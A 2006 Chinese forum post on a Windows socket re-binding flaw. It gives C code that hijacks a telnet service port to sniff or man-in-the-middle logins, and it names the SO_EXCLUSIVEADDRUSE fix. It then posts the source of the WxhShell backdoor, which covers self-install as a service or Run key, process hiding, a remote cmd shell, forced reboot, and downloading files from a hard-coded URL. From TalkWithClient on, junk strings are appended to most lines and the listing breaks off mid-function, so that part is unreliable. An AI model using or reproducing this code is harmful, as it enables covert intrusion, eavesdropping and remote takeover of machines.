[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; +ps(9O/B>
if(chr[0]==0xd || chr[0]==0xa) { 1jDN=hIl
pwd=0; /@:I\&{f'9
break; [&51m^
} m)V%l0
i++; ^I7iEv
} Q/I/>6M7UZ
T< D&%)
// 如果是非法用户，关闭 socket nGq{+ G
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4PR!OB
} `KB;3L
|Y4c+6@_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b-,4< H8m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,XU<2jv]
H>X:#xOA_
while(1) { 1 Qln|b8<
zt6GJz1q
ZeroMemory(cmd,KEY_BUFF); Kqm2TMO]>V
y2KR^/LN|Y
// 自动支持客户端 telnet标准 Pd)mLs Jg
j=0; I|(r1.[K
while(j<KEY_BUFF) { "\3C)Nz?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~m3Q^ue
cmd[j]=chr[0]; yhc}*BMZ
if(chr[0]==0xa || chr[0]==0xd) { a[I :^S
cmd[j]=0; mb,\wZ
break; vhvFBx0
} }Y:V&4DW
j++; %g:6QS|
} FN\*x:g
Xh+;$2l.B
// 下载文件 h/k00hD60
if(strstr(cmd,"http://")) { xPCRT*Pd
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T\q:
if(DownloadFile(cmd,wsh)) A`71LV%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN&@y$
else ;Nk,bb K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |0OY>5
} |h%=a8
else { 5X&Y~w,poU
2u Zb2O
switch(cmd[0]) { _0}u0fk
o, PpD,,
// 帮助 ?.Q$@Ih0
case '?': { {>g{+Eq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ia@ |+r
break; $O3.ex V
} gWQ(B
// 安装 Q<0X80w>
case 'i': { > 9.%hSy
if(Install()) V_zU?}lZ^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V/`vX;%
else s@zO`uBc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (1 (~r"4I
break; 7>"dc+Fg
} qF\w#nG
// 卸载 /z!Tgs4
case 'r': { r3qKT
if(Uninstall()) PzOnS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU+3~|m
else =WT&unw}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o%7-<\qS
break; Jr5dw=B gw
} DSQ2|{
// 显示 wxhshell 所在路径 9TX2h0U?
case 'p': { bgLa`8
char svExeFile[MAX_PATH]; FY<Q|Ov
strcpy(svExeFile,"\n\r"); 4M#i_.`z
strcat(svExeFile,ExeFile); ]"}BqS0
send(wsh,svExeFile,strlen(svExeFile),0); hjyM xg;Q?
break; By waD?
} %_."JT$v{
// 重启 k3K*{"z
case 'b': { q #mBNe62p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =p^$>o
if(Boot(REBOOT)) Om^(CAp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(oA/jFQ
else { T*:w1*:
closesocket(wsh); DkX^b:D*f
ExitThread(0); }`kiULC'=
} A'BqNsy
break; {n|ah{_p|
} "AU.Eh"-1
// 关机 f0vO(@I
case 'd': { #9gx4U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KLvAe>#,
if(Boot(SHUTDOWN)) p[w! SR%=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LN~mKoW
else { ]DKRug5
closesocket(wsh); .W^B(y(tA
ExitThread(0); /78]u^SW
} ((C|&$@M
break; M!+J[q
} Qo)Da}uo20
// 获取shell &Ts!#OcB,
case 's': { }4p)UX>aWT
CmdShell(wsh); Li]bU
closesocket(wsh); b"WF]x|^
ExitThread(0); VwpC UW
break; n&Ckfo_D
} f`:GjA,J$
// 退出 -w*fS,O
case 'x': { PChew3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C7ug\_,s
CloseIt(wsh); Vm|KL3}NRv
break; G<M0KU(
} hs[x\:})/
// 离开 Q66 +
case 'q': { yI1:L -
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T?Kh'
closesocket(wsh); 1^LdYO?g'
WSACleanup(); ("\{=XAQ
exit(1); Ie(i1?`A8
break; Ym1vq=
} ]f#s`.A~
} L/Q[N^ (^
} o!:Z?.!
`Jk0jj6Z
// 提示信息 0u1ZU4+EC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QuqznYSY{
} dpTsTU!\
} arDl2T,igF
"Yh;3tI4*
return; GQ;0KIN
} n1J u=C
kh9'W<tE
// shell模块句柄 u Jqv@GFv
int CmdShell(SOCKET sock) `0\Z*^>
{ PFuhvw~?
STARTUPINFO si; nm@h5ON_
ZeroMemory(&si,sizeof(si)); z3y{0<3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (B>/LsTu
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'g!T${
PROCESS_INFORMATION ProcessInfo; r5DRF4,7
char cmdline[]="cmd"; V_:`K$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HD^#"
return 0; ?>Sv_0
} Ss+F
ao2^3e
// 自身启动模式 nS04Ha
int StartFromService(void) .26mB Xr
{ K f/[Edn
typedef struct q0NFz mG
{ W}f)VC;D
DWORD ExitStatus; }:m/@LKB
DWORD PebBaseAddress; ux<|8S
DWORD AffinityMask; o5bp~.m<
DWORD BasePriority; 1ZI1+TDH
ULONG UniqueProcessId; ^FKiVKI:
ULONG InheritedFromUniqueProcessId; cc|W1,q
} PROCESS_BASIC_INFORMATION; 5E\.YqdV
"iA0hA
PROCNTQSIP NtQueryInformationProcess; 3]l)uoNt/
~ubvdQEW
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hI'WfF!X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >\d&LLAe
oT-gZedW(
HANDLE hProcess; |Y>Jf~SN
PROCESS_BASIC_INFORMATION pbi; u#,8bw?1
fZ$b8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T&lgWOls
if(NULL == hInst ) return 0; TI'v /=;)
=vbG'_[7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QselW]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j|t=%*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3[ xdls
ECOJ .^
if (!NtQueryInformationProcess) return 0; ~Q&J\'GQH
HU'Mi8xxy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M76p=*
if(!hProcess) return 0; s*k)h,\
j6GIB_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a_RY Yj
riDb!oC
CloseHandle(hProcess); 17 Ugz?
4rU/2}.q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ( zWBrCX
if(hProcess==NULL) return 0; <0})%V?-
X:oOp=y]|
HMODULE hMod; W:_-I4q~
char procName[255]; &BRk<iwV
unsigned long cbNeeded; L[x`i'0B
9MMCWMV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y;/@[AwF
aUaeK(x:H
CloseHandle(hProcess); 6kYluV+j
ZwkUd-=0i
if(strstr(procName,"services")) return 1; // 以服务启动 Cz0FA]-g
Ix-Mp
return 0; // 注册表启动 J8qFdNK
} XwY,xg&o
jr=9.=jI8k
// 主模块 &DLWlMGq
int StartWxhshell(LPSTR lpCmdLine) dHy9 wU
{ aKDY_D
SOCKET wsl; geme_
BOOL val=TRUE; { ADd[V
int port=0; 'z$$ZEz!C
struct sockaddr_in door; F\m^slsu7=
z`wIb
if(wscfg.ws_autoins) Install(); Zw]"p63eMa
l7|z]v-
port=atoi(lpCmdLine); O] @E8<?^
j'D%eQI,V
if(port<=0) port=wscfg.ws_port; WXy8<?s
~*HQPp?v
WSADATA data; w"j>^#8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |V a:*3u
'Aq^z%|
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P([!psgu
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KN}#8.'>3
door.sin_family = AF_INET; E_ wVAz3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j%6p:wDl
door.sin_port = htons(port); ]SQ+r*a
fx;rMGa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )x6&Y
closesocket(wsl); t7f(%/] H0
return 1; > Vm}u`x
} "wgPPop
^&qK\m_A
if(listen(wsl,2) == INVALID_SOCKET) { ,b*?7R
closesocket(wsl); CD&a_-'z$K
return 1; $94lF~
} y\T$) XGV
Wxhshell(wsl); tgF~5 o}?
WSACleanup(); U#z"t&o=L
0t7N yKU
return 0; p*Z<DEh#
0>28o.
} ;/Hr ZhOE
"*bLFORkq'
// 以NT服务方式启动 K(+=V)'Dz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UD-+BUV
{ |{#St-!-7
DWORD status = 0; Ok!P~2J
DWORD specificError = 0xfffffff; 4|?(LHBD)
1aAOT6h
serviceStatus.dwServiceType = SERVICE_WIN32; ~O}r<PQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; D_l$"35?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zDvV%+RW)
serviceStatus.dwWin32ExitCode = 0; $MR1 *_\V
serviceStatus.dwServiceSpecificExitCode = 0; .RroO_H
serviceStatus.dwCheckPoint = 0; 7h\is
serviceStatus.dwWaitHint = 0; "Hw%@]#
RdX+:!lD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tK3$,9+
if (hServiceStatusHandle==0) return; > "hP
Ti? "Hr<W
status = GetLastError(); m6i ,xn
if (status!=NO_ERROR) Qsbyy>o)
{ QNbZ)
serviceStatus.dwCurrentState = SERVICE_STOPPED; Nw"df=,{
serviceStatus.dwCheckPoint = 0; YuhfPa
serviceStatus.dwWaitHint = 0; n*\o. :f
serviceStatus.dwWin32ExitCode = status; Ae2N"%Ej
serviceStatus.dwServiceSpecificExitCode = specificError; .q2r!B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bl+\|[yd
return; uuM1_nD[
} sVh)Ofn
I#OZ:g^
serviceStatus.dwCurrentState = SERVICE_RUNNING; %Xc,l Y1?
serviceStatus.dwCheckPoint = 0; -C2!`/U
serviceStatus.dwWaitHint = 0; #w;"s*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n*[ZS[I
} !j$cBf4
Ce+:9}[
// 处理NT服务事件，比如：启动、停止 mZiKA-t
VOID WINAPI NTServiceHandler(DWORD fdwControl) ThV>gn5
{ y3;M$Jr
switch(fdwControl) }1 O"?6
{ _gMr]%Q
case SERVICE_CONTROL_STOP: S<T'B0r8
serviceStatus.dwWin32ExitCode = 0; Uh0g !zzp
serviceStatus.dwCurrentState = SERVICE_STOPPED; fq>{5ODO
serviceStatus.dwCheckPoint = 0; |eRE'Wd0
serviceStatus.dwWaitHint = 0; zfop-qDOc
{ kwp%5C-S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'd N1~Pa
} #w''WOk@ZG
return; AJ\gDjj<
case SERVICE_CONTROL_PAUSE: Y2VfJ}%Q
serviceStatus.dwCurrentState = SERVICE_PAUSED; Tf#Op v)
break; ./I?|ih
case SERVICE_CONTROL_CONTINUE: u0W6u} 4;
serviceStatus.dwCurrentState = SERVICE_RUNNING; kI"9T`owR
break; 3FvVM0l"
case SERVICE_CONTROL_INTERROGATE: Fx!D:.)/G
break; MsIR~
}; E{)X ;kN=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4rDVCXE
} huZ5?'/Fg
Xm# +Z`|N
// 标准应用程序主函数 q]1p Q)\'p
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *$O5.`]
{ Lx_Jw\YO
<oXBkCi0r
// 获取操作系统版本 3[Q7'\
OsIsNt=GetOsVer(); E,d<F{=8,o
GetModuleFileName(NULL,ExeFile,MAX_PATH); 29=ob("
s/ABT.ZO
// 从命令行安装 8Y-*rpLy
if(strpbrk(lpCmdLine,"iI")) Install(); &B5&:ib1D
`a52{Wa
// 下载执行文件 R?1Z[N
if(wscfg.ws_downexe) { v{$?Ow T/u
